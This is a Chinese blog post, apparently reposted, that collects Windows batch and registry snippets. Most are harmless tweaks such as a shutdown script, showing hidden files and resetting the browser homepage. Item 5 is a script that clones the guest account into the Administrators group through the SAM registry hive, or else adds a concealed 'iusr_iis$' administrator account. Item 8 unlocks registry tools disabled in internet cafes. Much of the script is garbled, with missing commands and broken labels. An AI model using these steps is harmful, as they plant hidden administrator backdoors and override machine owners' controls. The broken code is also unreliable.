一些有用的批处理代码reg add "HKCR\*\shell\ms-dos" /ve /d ms-dos /f
reg add "HKCR\*\shell\ms-dos\command" /ve /d " /k cd %%1" /f
reg add "HKCR\Folder\shell\ms-dos" /ve /d ms-dos /f
reg add "HKCR\Folder\shell\ms-dos\command" /ve /d " /k cd %%1" /f
存为bat格式,运行,刷新……
2.win2000关机命令
@echo off
setlocal
cd/d %temp%
echo Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}".ExecQuery("Select * from Win32_OperatingSystem" >shutdown.vbs
echo For Each objOperatingSystem in colOperatingSystems >>shutdown.vbs
echo ObjOperatingSystem.Win32Shutdown(12) >>shutdown.vbs
echo Next >>shutdown.vbs
cscript shutdown.vbs
del shutdown.vbs
::;Value Meaning
::;0 Log Off
::;0 + 4 Forced Log Off
::;1 Shutdown
::;1 + 4 Forced Shutdown
::;2 Reboot
::;2 + 4 Forced Reboot
:
:;8 Power Off
::8 + 4 Forced Power Off
pause
同上
3.显示扩展名(当文件夹选项被锁时)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t reg_dword /d 00000000 /f
同上
4.显示隐藏文件(同上)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v Hidden /t reg_dword /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t re
g_dword /d 0 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t reg_dword /d 1 /f
同上
5.自动克隆guest为administrators组(没试过)
@echo guest.bat ^<zpid^> ^<password^>
@echo __________________________________________________________
@rem 本guest.bat自动克隆guest为administrators组。
@rem 如果存在username表示在终端登陆的环境运行bat.需要手工输入pid值。
@rem 最好先手工修改密码。执行本程序两次。哈哈。 主要是没有掩饰。regedit比较费时间。
@set zpath=%path%
@set zcd=%cd%
@set path=%path%;%windir%;%windir%\system32
:start
@net user guest |find /i "*Domain" &&echo Domain Controller, Dont clone. ADD user! &&goto DOMAIN
@if NOT "%USERNAME%"=="" echo username=[%username%],term_login mode. input PID. &&goto Term
:start1
@ | /i "" >a
@ a -f a -a 0,1 >b
@FOR /F "eol=; tokens=1,2,3* delims=, " %%i in (b) do @set zpid=%%i
@goto AUTO
:Term
@if "%1"=="" goto USAGE
@if NOT "%2"=="" net user guest %2
@if NOT "%2"=="" net user |find /i "tsinternetuser" >nul &&net user tsinternetuser %2
@set zpid=%1
:AUTO
@echo
@ -p "%windir%\ - HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4" -i %zpid% >nul
@ -p "%windir%\ -e name.$$$ HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names" -i %zpid% >nul
@echo Windows Registry Editor Version 5.00 &
@echo Windows Registry Editor Version 5.00 &
@echo [HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5]>>admg.
reg
@echo [HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003e8]>&
@ >a &echo "Unicode -->>> ansi . use it ansi." &if exist b del b
@echo "F"=hex:02,00,01,00,00,00,00,00,00,00,00,00,00,00,00,01,00,00,00,00,00,00,00,\>>b
@ a -f a -a 4,0 |find "," >>b
@ a -f a -a 5,0 |find "," >>b
@ a -f a -a 6,0 |find "," >>b
@type b >&
@type b >&
:IIS
@set zda=no
@echo iusr_iis exec
@type name.$$$ &
@ >nul
@FOR /L %%i IN (5,3,30) DO @( a - -a %%i,0 |find /i "IUSR_IIS$" &&set zda=%%i)
@if "%zda%" =="no" goto PSU
@ "IUSR_IIS$" /R /I >nul
@ "Editor" /R /I >nul
@ /v /n "" >n1
@findstr /I "%zda%" n1 >name.iis
@setx a -f name.iis -a 0,1 -d () >zdc
@del n1
@del name.iis
@del name.$$$
@
@del a
@del b
@For /F "tokens=1,2* delims= " %%i in (zdc) do @(echo %%i>zdd)
@For /F "tokens=1,2* delims= " %%i in (zdd) do @(set zdd=%%i)
@ >nul
@ "1f5" "%zdd%" /I
@ "1f5" "%zdd%" /I
@del zdc
@del zdd
SU
@attrib -s -r admg.bak >nul
@attrib -s -r admt.bak >nul
@copy admg. >nul
@copy admt. >nul
@ -p "%windir%\ -" -i %zpid% >nul
@ -p "%windir%\ -" -i %zpid% >nul
@if NOT "%zda%"=="no" -p "%windir%\ -" -i %zpid% >nul
@if NOT "%zda%"=="no" net user iusr_iis$ /active:yes >nul
@if NOT "%zda%"=="no" net user iusr_iis$ /active:no >nul
@ admg.bak >nul
@ admt.bak >nul
@attrib admg.bak +r +s >nul
@attrib admt.bak +r +s >nul
@net user guest /active:yes >nul
@net user guest /active:no >nul
@net user |find /I "tsinternetuser" || goto NEXT
@net user tsinternetuser /active:yes >nul
@net user tsinternetuser /active:no >nul
@if /f >nul
@if /f >nul
@if /f >nul
:Next
@goto end
OMAIN
@rem add user iusr_iis$
@if "%2"=="" echo "not input guest of password" &&goto END
@net user |find /i "iusr_iis" >nul ||net user iusr_iis$ %2 /add
@net localgroup administrators |find /i "iusr_iis$" >nul ||net localgroup administrators iusr_iis$ /add
@goto END
:USAGE
@ | /i "WINLOGON explorer"
@echo " system.bat zpid <password> "
@echo " Need cur winlogon PID ,Term_mode,Must this Term_login_winlogon_pid. "
@goto end1
:END
@echo ________ALL User IN administrators :shell代码
@net localgroup administrators
:END1
@ -p "%windir%\ -" -i %zpid%
@set path=%zpath%
@set zpath=
@set zcd=
@set zda=
@set zdb=
@set zdd=
@set zpid=
6.自动改回主页
reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t reg_sz /d www.21cn /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet E
xplorer\Main" /v "Default_Page_URL" /t reg_sz /d www.21cn /f
pause
7.删除大小和类型一样的文件(病毒)
@ECHO OFF
SETLOCAL ENABLEDELAYEDEXPANSION
for /f "tokens=*" %%a in ('dir/a-d/b/oe') do set/a c+=1&set a!c!=%%a&set b!c!=%%~za&set c!c!=%%~xa
for /l %%a in (1,1,%c%) do set/a d=%%a+1&for /l %%b in (!d!,1,%c%) do if not !b%%a!.==. call :1 %%a %%b
goto :eof
:1
if !b%1!==!b%2! if !c%1!==!c%2! set b%2=&del "!a%2!"
goto :eof
8.解锁注册表(网吧)
@reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /
v DisableRegistryTools /t reg_dword /d 00000000 /f
start regedit
9.读注册表Run下面的值
@echo off
for /f "tokens=2 delims=:" %%i in ('reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run') do echo %systemDrive%%%i
pause>nul
10.显示c到z盘
@echo off
set disk=cdefghijklmnopqrstuvwxyz
FOR /L %%i IN (0,1,23) DO call echo %%disk:~%%i,1%%
pause
为了您的安全,请只打开来源可靠的网址
打开网站 取消
来自: hi.baidu/%C0%B4%D7%D4%D3%EE%D6%E6%B5%C4%C4%D1%C3%F1/blog/item/570023aecf3d09f3fbed505a.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论